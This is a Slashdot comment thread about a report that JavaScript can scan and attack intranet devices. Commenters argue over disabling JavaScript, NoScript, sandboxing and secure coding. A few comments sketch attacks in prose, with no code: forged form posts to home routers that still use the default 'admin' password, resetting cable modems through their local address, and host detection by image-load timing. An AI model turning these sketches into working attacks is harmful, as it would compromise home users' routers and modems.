      It's a little odd that there's an add that moves itself using javascript on a page for an extension that blocks javascript.

    4. Re:Configure which sites get javascript? by Ph33r+th3+g(O)at · · Score: 1

      Incentive to download the plugin :).

      --
      I too have felt the cold finger of injustice.
    5. Re:Configure which sites get javascript? by Anonymous Coward · · Score: 0

      Ah, but you can:

              http://www.noscript.net/whats


      Well... Where's the source code for that? I looked over the site pretty closely and couldn't find any links to the source. Maybe it is in the xpi but I shouldn't have to dig for it there. Also, the uninstall information was extremely lame and basically punted you elsewhere.

    6. Re:Configure which sites get javascript? by BalanceOfJudgement · · Score: 1

      There is?

      Hmm, already having NoScript, I didn't see the ad.

      It works! :D

      --

      We are the fire that lights our world.. and we are the fire that consumes it.
  16. specifically allow by nurb432 · · Score: 1

    And people will do it anyway, thinking they are 'safe'.

    --
    ---- Booth was a patriot ----
  17. I tried the "proof of concept" here... by John.Thompson · · Score: 2, Informative

    And it found some, but not all the web-enabled devices on my network. It found my web server and correctly identified it as Apache, found the squid proxy running on the gateway/firewall machine (identified as "unknown"), but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.

    But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.

    1. Re:I tried the "proof of concept" here... by Anonymous Coward · · Score: 0
      Thanks for reporting your experiences, it is interesting that the POC didn't find all your web enabled devices. Are all these devices listening on port 80? Are you running any personal firewall software on the machine that ran the script?


      But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.


      If developers have been sloppy enough to create a site that requires javascript, what are the chances they audited it for XSS bugs? NoScript whilst significantly reducing the risk is only a partial solution to the problem.

    2. Re:I tried the "proof of concept" here... by makomk · · Score: 1

      Roughly the same here in Firefox - it found the webserver on my local machine (though it couldn't identify it), didn't find the Netgear wireless router (possibly down to the password-protection on it), and about every third IP address was incorrectly identified as existing. (In Konqueror, it found my local machine, but not the webserver running on it).

    3. Re:I tried the "proof of concept" here... by vtcodger · · Score: 2, Interesting
      ***but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.***

      Doesn't the second part of that make you a little nervous? One possibility is that it is finding your router and print server, but not where they are supposed to be. Could be an error in the program, but it could be some 'feature' of your network environment that you'd like to know about.

      --
      You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
    4. Re:I tried the "proof of concept" here... by Billosaur · · Score: 1
      But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.

      And that's lovely, until you realize that not everyone runs Firefox and in many corporate environments, IE is still the defacto standard. Hoping a browser will rescue application developers from bad security design is like hoping Paris Hilton wins a Nobel Prize.

      Security starts with code; if the code isn't secure, then you're asking for trouble. Programming classes in colleges and tech institutes are going to need to start stressing secure code writing if we're ever to stem the tide of these kinds of things.

      --
      GetOuttaMySpace - The Anti-Social Network
    5. Re:I tried the "proof of concept" here... by Anonymous Coward · · Score: 0
      ... is like hoping Paris Hilton wins a Nobel Prize.

      Why in hell would anyone do that? My God, however wrong we may think the world now, how wrong would it be at that point??

  18. Javascript Haters Society by bateleur · · Score: 3, Insightful

    So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?

    That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".

    Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.

    1. Re:Javascript Haters Society by Anonymous Coward · · Score: 0

      The following things are evil about javascript:
      - It causes popup windows
      - It causes larger information leak to every webpage
      - Rightclick blocking on pictures on some webpages
      - frequent exploits (like this one)

      I pretty much consider it malware. I know it wasn't written with malice but sufficient incompetence is indistinguishable from malice. It does nothing good that I'm aware of so I disable it. Webpages that require (for no apparent reason) it stop working. I really wish it would just go away.

    2. Re:Javascript Haters Society by dodobh · · Score: 1

      Or that will be the only company with users left, after the rest are compromised.

      Running everything over http.... I would rather not be a sysadmin at a company which does that.

      --
      I can throw myself at the ground, and miss.
    3. Re:Javascript Haters Society by evilviper · · Score: 1
      So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?

      Never heard of Windows, have you?

      At what point does continually patching and repatching a fundamentially insecure technology become futile?
      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
    4. Re:Javascript Haters Society by bateleur · · Score: 1

      Never heard of Windows, have you?

      In my dreams. <sigh>

      It's a good example, though. I need to use Windows for two main reasons. First, because so much software is written only to run on Windows. Second, because customers use Windows and I need to be able to test and debug in an environment matching theirs. As such, no matter how buggy or insecure Windows may be either now or in the future it will never be "futile" for me to use it. (Just infuriating on occasion.)

      Javascript is not quite such a clear case. I think it's fair to say that's its use on websites has become ubiquitous (whether or not it should have done). Internet users as a group will therefore continue to use this technology widely whether we (or they) like it or not. To recognise it as broken and/or insecure is a helpful step. This does not mean we can proceed to discard the whole thing. It's simply not up to us.

      I remember way back when the so called "Netscape extensions" to HTML first appeared. My naive thought was that they were pointless since HTML had to be a standard or it was no use at all. True enough in principle, but I had not yet encountered the concept of de-facto standards. These days I'm pleasantly relieved when a new site I want to read uses "only" Javascript and isn't implemented entirely in Flash.

  19. 127.0.0.1 by Anonymous Coward · · Score: 0

    pwn3d

    1. Re:127.0.0.1 by ajs · · Score: 1

      No, knowing the loopback address doesn't help you in exploring the local intranet. If there's a call that tells you "my address is 10.1.2.3", then it's a pretty sure bet that you can find some goodies in the rest of 10.1.2.0/24, including a fairly high probability that 10.1.2.1 is going to be a router or switch.

      Of course, a clever program could just probe a half dozen typical addresses, but why do that when JavaScript is happy to tell you?

  20. Doesn't work that way with NoScript by sgant · · Score: 1

    NoScript just blocks the javascript...doesn't send it off to somewhere else nor creates any "whitelist". If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.

    I've used NoScript now for quite a while and I love it.

    --

    "Leo Fender was in a 'state of grace' when he designed the Stratocaster." -- Paul Reed Smith
    1. Re:Doesn't work that way with NoScript by fotbr · · Score: 2, Informative

      If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.
      You just described a whitelist.

      His TRANSACTION was sent off elsewhere, to another site, and because THAT site hadn't been whitelisted, he didn't get an acknowlegement that his payment had been accepted.

      I know you no-script fanboys can't stand the idea that your favorite tool might not be perfect for everyone, everywhere, all the time, but learn to read before spewing your fanboy-ism.

    2. Re:Doesn't work that way with NoScript by sgant · · Score: 1

      Lol, lighten up. I didn't even know there was such a thing as "no-script fanboys". It's just an extension and not a way-of-life, sheesh.

      Also, try de-caf...it's just as tasty as the real thing.

      --

      "Leo Fender was in a 'state of grace' when he designed the Stratocaster." -- Paul Reed Smith
    3. Re:Doesn't work that way with NoScript by fotbr · · Score: 1

      There are no-script fanboys, they pop up in every single thread concerning javascript. To them, it IS a way of life, and they can't fathom anyone not agreeing that its the perfect solution to everything.

      As for the de-caf....you're probably referring to coffee, which is disgusting. Then again, caffinated water is digusting too. So if its ok with you, I'll stick to plain, non-caffinated, non-carbonated, non-flavored, dihyrdogen-monoxide. :-)

  21. Javascript = One really bad idea by vtcodger · · Score: 0, Troll
    ***Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'" ***

    Look folks, this isn't rocket science. Given the current state of Computer Technology, downloading obscure programs from a remote source outside your control and running them can't possibly be a good idea. It may occasionally be necessary, but it's something that should be done as rarely as possible. If you don't even know the programs are there because they are buried in web pages, that just exacerbates the problem.

    The answer: Turn off Javascript, and let the web site designers find some other way to entertain themselves. Forcing web sites to use HTML and server side scripting may limit their style and the coolness of your user experience, but if you want your computer(s) and network to be somewhat secure then you better forget Javascript. Personally, I have only one Javascript enabled browser (Firefox) and I try to use it only with sites like Google and a handful of others that I consider to be trustworthy.

    --
    You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
    1. Re:Javascript = One really bad idea by CTho9305 · · Score: 1

      Yeah, because there are no good uses at all.

    2. Re:Javascript = One really bad idea by Anonymous Coward · · Score: 0

      Nice way to spam your shitty ass link there, faggot.

      I won't be clicking on it.

  22. Doing a quick parse of the article... by Skiron · · Score: 1, Insightful

    ...I think this is only relevant to IE and MS [again]. As to sending commands to a 'router' to turn on wireless (if I even had a router that had wireless) is pants unless the 'owner' of the router wasn't the person using it (i.e. an ISP package). The interface must be open to allow this to happen.

    So, the problem is with MS (again) and 'harry home owner' type people that don't have a clue about anything, so just run with the flow [OK].

    1. Re:Doing a quick parse of the article... by acidblue · · Score: 0
      Actually, I think the issue with "sending commands to routers" is not a Microsoft thing but more of a platform agnostic thing. It's more of a router issue.

      Most people buy routers and do not change the default settings (credentials are what I am really talking about). So, lets say someone has a Linksys router on their network. All I need to do is create a form on a webpage, authenticate using javascript (with just a default password of 'admin'), then post the data that the router's web forms expect. It doesn't seem that difficult to me.

    2. Re:Doing a quick parse of the article... by vtcodger · · Score: 1
      I don't see javascript vulnerabilites as being limited to Windows or IE. Why would they be? In fact, attacks on routers and such if they happen are probably going to be attacks on specific unix configurations.

      I think the real concern here is facility networks more than home users. If the facility users are allowed to access the Internet, and javascript is permitted by the browsers, there's an open pipeline right past whatever front end filtering is in place. I doubt it will be very practical to scan every block of javascript coming into the building for malicious code.

      And how about Javascript embedded in that mother of all bad ideas -- HTML eMail?

      --
      You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
  23. I'm just a caveman lawyer by Anonymous Coward · · Score: 0

    This talk of Javascript malware frightens and scares me, but one thing I do know is this... Zonk should "edit" since he is an "editor."

  24. Reality Haters Society by Anonymous Coward · · Score: 0

    "So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?"

    It's nice to know that the advice we give Microsoft users, doesn't just apply to them anymore.

  25. Missing the point by Minwee · · Score: 3, Interesting
    "Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it."

    Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.

    For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ but not for http://random.russian.warez.and.porn.site/ really is a solution.

    1. Re:Missing the point by Dachannien · · Score: 1

      There are some cases where it makes delivery of dynamic content a bit easier by offloading some of the processing to the client, but I'm convinced that a large part of the reason some sites use Javascript is to make it harder to deeplink their site. Sort of like the old disabling-context-menus trick, which, by the way, I'm really glad doesn't work in Firefox (the dialog box saying it's disabled still pops up, but you also still get the context menu).

    2. Re:Missing the point by ultracosm · · Score: 1

      Amen!

      This point seems completely obvious to me. I wish it were to more people.

  26. Defaults by Anonymous Coward · · Score: 0

    JavaScript malware can be just as easily contained as a large number of other malware can: careful watch of what the user's actual needs are. I deny all javascript by default, and if I absolutely MUST use it, enable it per session (in Firefox). This is another issue where ease of use is the real culprit, rather than a fundamental weakness. Compare this to the WMF issues, which do constitute a fundamental weakness. Javascript is behaving as it should, as is your browser. Many people deride such arguments with the idea that most people are not interested/savvy enough to look after such things, but this is no excuse. It takes comparatively little time to find a quick and easy solution to javascript malware, and this hardly requires a deep understanding of javascript....

  27. Sandbox web-enabled applications by davidwr · · Score: 1

    Oses or third parties now have an opportunity:

    Sandbox web-enabled applications, either individually or as a set.

    Even better: Sandbox sessions. Any address I type into my web browser, any link I open from a saved bookmark, or any link I open with a "open in new sandbox" command, gets a new sandbox.

    For home users, sandboxes get access to just the default gateway, they can't touch 127.0.0.1 or 192.168.1.x. They get read-only access to parts of the filesystem, such as where Java applets are stored, and read-write access to their own temporary space and, optionally, a directory where users can save files by hand. Alternatively they may get "dropbox"/read-directories/write-files access to other parts of the filesystem, such as directories the current user can write to.

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
    1. Re:Sandbox web-enabled applications by Anonymous Coward · · Score: 0
      Alternatively they may get "dropbox"/read-directories/write-files access to other parts of the filesystem, such as directories the current user can write to.

      You use unix, I use unix, but Mr & Mrs joe six use Windows with admin priviledges.

      I suggest some kind of cross-browser extension mechanism replacing javascript served over HTTP with signed downloads, all handled by the browsers inbuilt update mechanism. Clean and secure, that's why the scumware contingent will never let it happen.

  28. NCSA Mosaic avoids this problem by shwonline · · Score: 3, Funny

    Ah, the simpler days of gray backgrounds and Times New Roman. None of these fancy tables, neither. And we had to walk 5 miles to school, uphill, in snow up to our hips. And 10 miles uphill to get back home. Kids today with their fancy JavaScript. No appreciation, none at all.

    --
    Do you have a flag?
  29. FIrefox NoScript? by kintarowins · · Score: 2, Interesting

    How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.

    Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSafe) configuration is like leaving your car unlocked in a inner-suburb train station... It will get broken into!

    For those affected by these issues: welcome to the real world. Grow up, plug in, learn what the hell your doing on this internet.

    You should need a licence to even have an Internet Connection.

    1. Re:FIrefox NoScript? by Chris+Pimlott · · Score: 1

      That's ridiculous, they don't need to break in if you leave the doors unlocked for them!

    2. Re:FIrefox NoScript? by Spliffster · · Score: 1

      blocking javascript is not enough. as pointed out in many comments; what they do now with the XMLHttpRequest Object (a JavaScrip HTTP Client) is also partially possible with the image object, java/activx objects (probably even flash) and most importantly with serverside scripting coupled with an iframe.

      The problem really lies in the nature of the web, that one site is allowed to call ressources from another host.

      Cheers,
      -S

  30. Detection of webserverless machines is unreliable by makomk · · Score: 1

    The detection of IP addressed that aren't running webservers seems to depend entirely on the time taken for the request to fail - long delays are detected as non-existent IP addresses, whereas short ones are reported as IP addresses without a webserver. This doesn't always work - it seems to give false positives if the IP address is detected as nonexistent too quickly, and could give false negatives on slow or unreliable links.

    In addition, if a machine has a webserver on it but requests for / give an error, it is detected as having no webserver. This gets particularly interesting with webservers that require HTTP authentication to access any page, and where the browser doesn't have the login stored: a password dialog pops up, and if you don't respond fast enough, the IP address is detected as non-existent. In addition, unless you enter the correct username and password, the machine is detected as not having a webserver.

    Finally, although they can carry out whatever GET requests they like, the only information about the response they can get is whether the request succeeded or failed. (They could probably do POSTs too, but I'm not sure if they'd even be able to get that much information back).

  31. The Cross Site Scripting FAQ by mrkitty · · Score: 1
    --
    Believe me, if I started murdering people, there would be none of you left.
  32. Re:JavaScript Malware Open The Door to the Intrane by Anonymous Coward · · Score: 0

    What, exactly, is wrong with the headline? The term "malware" can be either singular or plural, making the singular "open" perfectly acceptable.
    Aside from inconsistent capitalization, you can't fault him on grammar.

  33. your IP address is being broadcast by Anonymous Coward · · Score: 0


    by every smtp server, in MS networks even the netbios name is broadcast in the smtp headers

    who cares about about internal IPs, go on you can hack me at 192.168.0.1-192.168.100.0

    1. Re:your IP address is being broadcast by Anonymous Coward · · Score: 0

      > by every smtp server

      Nope, that's a cheap way to map a corporate network. Internal IPs are stripped at our border MTAs, we add a custom backtrace hash for debugging.

      HTH

  34. Oh well, let's prevent people doing their jobs by Flying+pig · · Score: 2, Funny
    Because it worked so well for the KGB. KGB agents planted by photocopiers to ensure the wrong documents didn't get copied. Typewriters with unique typefaces in a single nonstandard size so that official documents couldn't be faked. Yes, if you are restrictive enough eventually you can bring everything crashing to a halt. However, the concept that everything is forbidden except what is compulsory has hardly proven the most successful business paradigm. IT is supposed to be an enabling technology, not a disabling technology. The sudden focus on security has brought to the fore all the anal retentives who secretly want to stop people doing things, and now have a justification for doing it.

    The answer with all these technologies is to get away from the "everything is permitted, everything links to everything else" model that Microsoft promoted till it ran into trouble, and work out a way of implementing security policies that are comprehensible and that work.

    --
    Pining for the fjords
    1. Re:Oh well, let's prevent people doing their jobs by Anonymous Coward · · Score: 0

      It has been my experience that attackers don't generally compromise networks to help employees do their jobs. If a department really does need scripting, we can deploy a VM bound to the DMZ. What's interesting to me is that you assume javascript is "enabling" when there's rarely any genuine technical requirement for it.


      I had to check a flight arrival time recently, the airport web site required javascript and flash before it would impart this information. I'm curious if these requirements, to access something that would display fine as html or plain text, could ever classify as enabling technology? We're all versed in double-speak, however, in this case would it not be more accurate to describe these as disabling technologies?


      At least we still have the telephone where I can wait in line, alternately cursing the robot woman and the choice of hold music whilst I await confirmation of 16:25. Should the robot woman and hold music also be classed as enabling technologies?

      The sudden focus on security has brought to the fore all the anal retentives who secretly want to stop people doing things, and now have a justification for doing it.



      That isn't it at all,

      I agree with your later comments on security and your observations on the KGB although I think these and the text I quoted above are more analogous to the war on terror.

  35. Security should be everywhere. by blowdart · · Score: 1
    It seems that the ideal place for security is not with individual site developers; but, rather with language standards bodies and browser makers.

    Oh what utter tosh. It's no wonder there are vunerable web sites out there if you think that's an acceptable attitude.

    Guess what, I'm a consultant too, but I actually make to the time to keep myself away of these things. Cross site scripting is a simple example, all it takes is for you to remember to encode any output that has come from user input, and pretty much all the server side languages and frameworks have helper functions for this. The fact that you absolve yourself from not knowing about it by saying we don't have time is awful. The fact that you consider a site working reliably if you cannot be sure it's secure is even worse.

    The ideal place for security is everywhere and if you aren't telling your clients that than frankly you're not a consultant, but simply a con.

  36. wait till you see what flash can do by Anonymous Coward · · Score: 0


    Spyware by any other name, cross site Flash access (so it can execute code) and flash cookies

  37. Easy fix by Anonymous Coward · · Score: 0

    With Firefox, enabling image loading ONLY for the original web site breaks the scanner (and hides 95% of the ads)

  38. IE only? Utter rubbish. by blowdart · · Score: 1
    I think you moved too quickly through it, there's nothing to indicate it's IE only (unless you're karma whoring *grin)

    In fact the article explains some of the methods and they will happily work on Mozilla as well;

    The JavaScript scanner determines whether there is a computer at an IP address by sending a "ping" using JavaScript "image" objects.

    I'm pretty sure I can use javascript in mozilla to create image objects. Why I can do it in Opera too. And if you actually went to the proof of concept page and tried it you would have confirmation it is NOT an IE only problem.

  39. Feature creep? by vain+gloria · · Score: 2, Interesting
    1. Re:Feature creep? by metallidrone · · Score: 2, Informative

      Perhaps it is because NoScript breaks FlashBlock (not sure about AdBlock). I don't know if this is still the case, since I removed it (FlashBlock) when I noticed that NoScript was preventing it from working.

    2. Re:Feature creep? by tehshen · · Score: 1
      Whatever happened to the concept of simply doing one thing well?

      It was superseded by the concept of doing two things well.
      --
      Guy asked me for a quarter for a cup of coffee. So I bit him.
    3. Re:Feature creep? by scum-e-bag · · Score: 1

      AdBlock and NoScript appear to be working alongside each other without any dramas. :P

      --
      Does it go on forever?
  40. WAN computing has evolved in a bad way. by master_p · · Score: 1

    Wide Area Network distributed computing has evolved in a bad way. Web standards are not designed for remote interactive applications and operating systems are not designed for executing remote code.

    We just need to redesign the thing from the bottom up, now that we have learned the ups and downs.

  41. Please kill JavaScript. by Anonymous Coward · · Score: 2, Insightful

    The vast, vast majority of exploits involve JavaScript in one way or another. If it were possible to just "turn off" JavaScript world-wide overnight, the number of exploits would drop down substantially. Of course you would still have the "stupid user" problem, but you can only do so much to combat that.

    As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific browser. For now, FireFox and others are relatively safe. We have seen a few things come out lately, but they are really just toys compared to what is out there for Internet Explorer. These people writing the exploits are, unfortunately, rather smart and clever. When it becomes econically feasible for them to target FireFox / Mozilla / whatever, make no mistake about it: they will. That is when we will see how secure that software really is.

    This is where people bring up the IIS vs Apache argument. My only answer to that is that there is little money to be made in compromising web servers. There are a few cases of corporate espoionage, but most of the time it is ego-driven: defacement, spreading worms, etc. A competent webadmin will eventually discover the breach and fix the system, so there is not a long window of opportunity. Compromising millions of home users' PCs without them even knowing it is much better profit-wise; you can spam the shit out of anything pretty much with impunity, and people will pay you good money to do it. So these kinds of people target what they are familiar with: Microsoft. I think compatibility also plays a role. Any Windows server running IIS can run any Windows binary. This is patently untrue of Linux servers running Apache; there are so many different combinations of distributions, libraries, and architectures that binary compatibility is very small if it even exists. Microsoft is an easy target because it is such a monoculture.

  42. Re:JavaScript Malware Open The Door to the Intrane by Anonymous Coward · · Score: 1, Funny

    I'll have the roast duck, with the mango salsa...

  43. Re:JavaScript Malware Open The Door to the Intrane by Ohreally_factor · · Score: 2, Funny

    Your grammar frightens and confuses me.

    --
    It's not offtopic, dumbass. It's orthogonal.
  44. Re:JavaScript Malware Open The Door to the Intrane by Ohreally_factor · · Score: 1

    It's just a joke at Zonk's expense, and last I heard, he has a sense of humor and can take a joke.

    --
    It's not offtopic, dumbass. It's orthogonal.
  45. Re:JavaScript Malware Open The Door to the Intrane by jdbartlett · · Score: 1

    It's possible to cater for both JavaScript-enabled browsers and those many, many, many text browsers and version 2 browsers being used out there. Websites that do so are typically called "downgradable".

    The decision whether or not to do so mostly depends on whether you intend to produce a web site (open and available for all to see) or a web application (a client/serverside application that just happens to be presented inside a web browser). I know that's a blurry line of distinction. Usually people decide whether something is one or the other based on a certain level of dynamic interaction. My golden rule on website vs. web application is this: if you have to pass through a login screen, it's a web application. If not, it's open to the public and is a web site.

    Why is this important? If you have to log into a system, you'll first need to be approved by a system administrator. I don't see what's so bad about that system administrator placing certain restrictions on his users, such as supporting only the comparatively more secure browser Firefox. Sometimes, this isn't possible as it breaks some zero-install requirement.

  46. You don't need it - you want it. by gnuman99 · · Score: 4, Insightful

    You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it.

    You don't need it - you want it. You want it to make the entire web experience better.

    From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

    Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.

    Similarly with Java, Flash and other things.

    1. Re:You don't need it - you want it. by Minwee · · Score: 1
      "You don't need it - you want it. You want it to make the entire web experience better."

      Except when I don't because it makes my entire experience much worse. A particular peeve of mine is image galleries which tie javascript actions to each thumbnail so that they will all open in the same external window. What I _want_ to do is to middle-click a few of the images which look interesting, open them each up in seperate tabs, read the article, and then look at the full sized pictures when they are all done loading. Using javascript actions to load each image prevents me from doing that, while using standardized a tags with well supported attributes can do the same thing without breaking my browser. The only reason to use javascript is to reduce bandwidth costs by preventing users from accessing your content and discouraging them from returning.

      "We now live in the world of DHTML and security is just going to have to deal with it."

      Except that...

      "Javascript is broken [...]"

      If you're saying that the world should just suck it up and deal with using javascript for trivial matters even though it is broken then that makes about as much sense as making children's lunch boxes out of depleted uranium and saying that they will just have to deal with the health concerns until the uranium manufacturers can get their act together.

      I think that a more sensible solution is to stop using the broken features altogether until they are completely fixed.

      "From the user standpoint, Javascript is essential (see maps.google.com, or gmail)"

      What's interesting to me is that there are other services which handle maps and email without relying on any javascript and they work just fine for me. That tells me that javascript is _not_ essential. It's a question of need-it vs. want-it, and while there are some cases where javascript really is needed, mostly it's used to either provide useless features or to reinvent wheels that already exist in safer, cleaner forms.

    2. Re:You don't need it - you want it. by evilviper · · Score: 1
      We already see it with the JS popup blockers. Similar security for network accesses should suffice.

      At what point do you STOP adding on patches as vunerabilities become known, and give-up on JS as the poorly thought-out and fundamentally insecure standard that it is?

      Images are fundamental.

      Images are no more a security threat than HTML. Sure, you can have a buffer overflow in an image, but the same goes for HTML code. Javascript is an all-together different animal. It's not being used as buffer overflows and the like are found, it's being used exactly in the way it's supposed to be used, which just happens to be a ridiculous security hole.

      Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

      I've looked and looked and looked, and I still haven't found ANY SITE which needs user-side scripting. Google Maps is the only thing that comes close, and it would only be a trivial ammount slower if they'd use standard HTML.

      All attempts to make web pages into applications have failed, miserably. Javascript's only purpose in life is to remove the button that used-to be beside drop-down menus, and I can certainly live without it, if web designers would just make it an option, rather than everything JS-only, and failing ungracefully.

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  47. Comment removed by account_deleted · · Score: 4, Informative

    Comment removed based on user account deletion

  48. Re:JavaScript Malware Open The Door to the Intrane by MLease · · Score: 1

    Poor little "s" was heard sobbing because it was left out unlikified. Zonk, don't you think of the children?

    Unlikified?!? Excuse me, but what exactly are you thinking about the children???

    -Mike

    --
    I'm sorry; I don't know what I was thinking!
  49. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  50. Basic responsibility is expected, no? by Anonymous Coward · · Score: 0

    If you're not using NoScript, you're like a person who leaves his car unlocked in a bad neighborhood. We feel slightly sorry your radio was stolen, but we also feel sorry you lacked common sense. No?

  51. FIXED by Anonymous Coward · · Score: 0
    Actually, organizations that should take security seriously usually still have javascript enabled but they think they secured their damn networks so that once you're past the external firewall, you're still blocked from anything interesting, except the local subnet.


    Having no clue about security is the problem at hand here, not javascript. Javascript is incredibly useful for reverse proxying thru firewalls.



  52. Javascript Haters Society Response by Anonymous Coward · · Score: 0

    HTML, CSS and server-side CGI. If there's something you REALLY can't achieve with that, then make a "web app" in java (or whatever) and let the user download and run it. Those few extra clicks are great security AND make it vastly easier to put together a useful and usable application.

    I'm sorry we didn't state all of this stuff explicitly, but I think it's quite obvious what we mean. The web is simply not a good environment for running complicated software, but luckily we all have general purpose operating systems a click away.

  53. Re:JavaScript Malware Open The Door to the Intrane by Marcos+Eliziario · · Score: 1

    I, for one, welcome our new strange grammar overlords

    --
    Your ad could be here!
  54. Javascript Reflection and DOCSIS Cable Modems by Anonymous Coward · · Score: 0

    How amusing (or abusing). Javascript AJAX style script to call those home firewalls or cable modems and abuse the poor end user. DOCSIS Cablemodems support http://192.168.100.1/ and many have diagnostic. I bet you could create a simple library that could regex the results of a javascript request to it and then reset the modem, etc. Plus all of those lovely DSL Modems and Firewalls with default passwords. Reminds me of the fun embedding modem control values in IRC commands. How long until hitting a web page has a chance of resetting your DSL modem, your cable modem, or your home firewall. Come visit my site at http://link/ removed]

  55. You don't need it - you want it-the future. by Anonymous Coward · · Score: 0

    Took the words out of my mouth. Funny how people bitched about designers treating the browser like print media, but turn right around and bitch that the browser is being used as more than a green screen.

    --
    Hey! My confirmation word is "astute". :)

  56. Javascript Haters Society-Jabber by Anonymous Coward · · Score: 0

    "Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left."

    I'll toss this here. After reading this. I've wondered if a browser bridge could be built into a JabberNet(TM) as it were.* When your browser hits the xmpp equivalent of Apache (using the xmpp extension, just like coldfusion uses CFM). One would gain functionality that HTTP doesn't allow, and maybe better security, as well as easier programming on both sides (the state issue would be easier to handle). Any thoughts?

    *It could even layer over a true P2P infrastructure, or simply be a substitute for the HTTP web (with a better discovery than DNS).

  57. Oblig. Opera "me too" posting by Anonymous Coward · · Score: 0

    Opera browser from version 7.x (IIRC) already had the switch for enabling/disabling javascript. It was one-click away.

    In the latest version however (9.0) they much more improved this capability:
    F12 --> Enable(disable) javascript
    and it is a global setting.

    Right click --> Edit site preferences
    and you get the per-site setting.

    No fancy extensions to be aware of, to search for, and to download. All out of the box.
    Forgive me if it's not enough.

  58. Sandboxing a browser in Windows by davidwr · · Score: 1

    Things a browser can do to sandbox itself:

    On install:
    1) create a very-limited-user account, much more limited than the usual "limited user" account.
    2) Assign the privilages to the directories and other resources it needs, including explicit DENY privilages it everything it doesn't need.
    3) Deny direct access to internet services, filesystem, launching of other applications, and any other abusable things [assuming such a thing is possible]
    4) Install a service, running as a different limited-user, to allow indirect calls to such features. Let's call this the threat-mitigation module.

    On run:
    1) Change to the very-limited-user
    2) route all internet traffic by application and plugins through the sandbox
    3) if it is called in a way that requires creating a new sandbox, the threat-mitigation module will make sure the sandboxed environments can't see each other.

    Yes, it's easier said than done and the Windows architecture may make it difficult, but it should be doable by a sufficiently motivated and budgeted programming team.

    The above is not the only solution to the problem. Furthermore, it may be incomplete or erronious. But it should get you thinking.

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
  59. Re:You don't need it - you DON'T want it. by bit01 · · Score: 1

    You don't need it - you want it. You want it to make the entire web experience better.

    Nonense. Using javascript for any of the things the parent mentioned is regressive. Apart from the things the sibling posters have mentioned it can also break:

    • The back button.
    • Standard link coloring.
    • Usage by the visually impaired.
    • Spidering and automated analysis of all sorts.
    • Page access on limited devices such as PDA's and kiosks.
    • Portability.
    • Maintainability.
    • User interface responsiveness.

    All this lost for zero improvement in functionality. Javascript has it's uses but using it to replace existing functionality is just evidence of a poor web designer.

    Oh, and by the way, marketing drivel, what javascript is often used for, does not improve the "web experience". Many so-called web designers wouldn't know what a good web experience was if it jumped up and bit them.

    ---

    Don't be a programmer-bureaucrat; someone who substitutes marketing buzzwords and software bloat for verifiable improvements.

  60. ouch! by Anonymous Coward · · Score: 0

    this sounds monster serious :(
    stupid javascript :(
    oh well it is dead obvious tho, being able to
    command "calculations" on a client side is a bad idea.

  61. Fix the stupid bugs by Myria · · Score: 1, Insightful

    JavaScript is not *supposed* to be able to do bad things like this. It has many safeguards built into it to avoid this.

    The real problem is that the browsers have bad code in their JavaScript implementations. This is what needs to be fixed.

